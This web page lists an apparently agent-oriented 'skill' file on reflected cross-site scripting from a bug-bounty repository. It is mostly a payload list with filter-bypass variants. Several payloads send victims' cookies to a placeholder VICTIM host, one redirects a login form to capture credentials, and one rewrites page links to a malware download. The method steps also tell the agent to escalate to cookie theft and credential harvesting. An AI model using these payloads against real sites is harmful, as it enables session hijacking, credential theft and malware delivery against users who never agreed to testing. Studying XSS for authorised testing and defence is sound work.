`, e", "url": "https://skillissue.si/skill/github?repo=ShulkwiSEC%2Fbb-huge&path=skills%2Fcurated%2Fxss-reflected", "codeRepository": "https://github.com/ShulkwiSEC/bb-huge", "programmingLanguage": "Markdown", "isPartOf": { "@type": "WebSite", "name": "Skill Issue", "url": "https://skillissue.si" } } ] }

Xss reflected

From ShulkwiSEC/bb-huge · View interactive version

Xss reflected is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Reflected XSS occurs when user-supplied input is echoed in an HTTP response without sanitization, allowing script execution in the victim's browser. Detect via injecting `<script>alert(1)</script>`, event handlers like `onfocus`, HTML entity bypass, and encoding variants. Tools: Burp Suite, OWASP ZA

How to use this skill

Skill file

Reflected Cross-Site Scripting (XSS)

What Is Broken and Why

Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.

Key Signals

Methodology

  1. Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.
  2. Submit a canary string (e.g., xss12345) and search the response for its unencoded presence.
  3. Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.
  4. Craft a context-appropriate payload:
  1. Test filter bypass variants if initial payloads are blocked.
  2. Verify execution in a real browser (not just source inspection).
  3. Escalate to cookie theft, credential harvesting, or redirect payloads.

Payloads & Tools

# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>

# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" onfocus="alert(1)" autofocus="

# Script block context
TARGET/page?user=';alert(document.cookie)//

# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>

# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>

# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>

# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >

# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E

# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>

# HTTP Parameter Pollution
TARGET/page?param=<script&param=>alert(1)</&param=script>

# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists

Bypass Techniques

Exploitation Scenarios

Scenario 1 — Session Hijacking

Setup: Search results page reflects q= parameter in page title without encoding.

Trigger: Attacker sends victim link: TARGET/search?q=<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>

Impact: Session cookie transmitted to attacker; full account takeover.

Scenario 2 — Credential Harvesting via Page Modification

Setup: Login page redirect parameter reflected in a JavaScript string.

Trigger: TARGET/login?redirect=';document.forms[0].action='http://VICTIM/capture';// — form submission redirected to attacker.

Impact: Plaintext credentials exfiltrated on login.

Scenario 3 — Malware Distribution

Setup: Error page reflects filename parameter in body without encoding.

Trigger: TARGET/download?file=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malware.exe';}</script>

Impact: Victim downloads malware when clicking any link on the page.

False Positives

Fix Patterns

Related Skills

When the injection point persists server-side, escalate to [[xss-stored]] for higher-impact payloads that don't require victim interaction. If the sink is in JavaScript code reading from location.hash or document.referrer, treat as [[dom-xss]] and look for dangerous sinks like innerHTML or eval. Reflected XSS can be used to bypass SameSite and execute [[csrf]] on the same origin, since the browser delivers both the XSS and the CSRF forged request from the target origin itself. Filter bypass encoding tricks used here also apply to [[cmd-injection]] when both share the same input sanitization layer.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.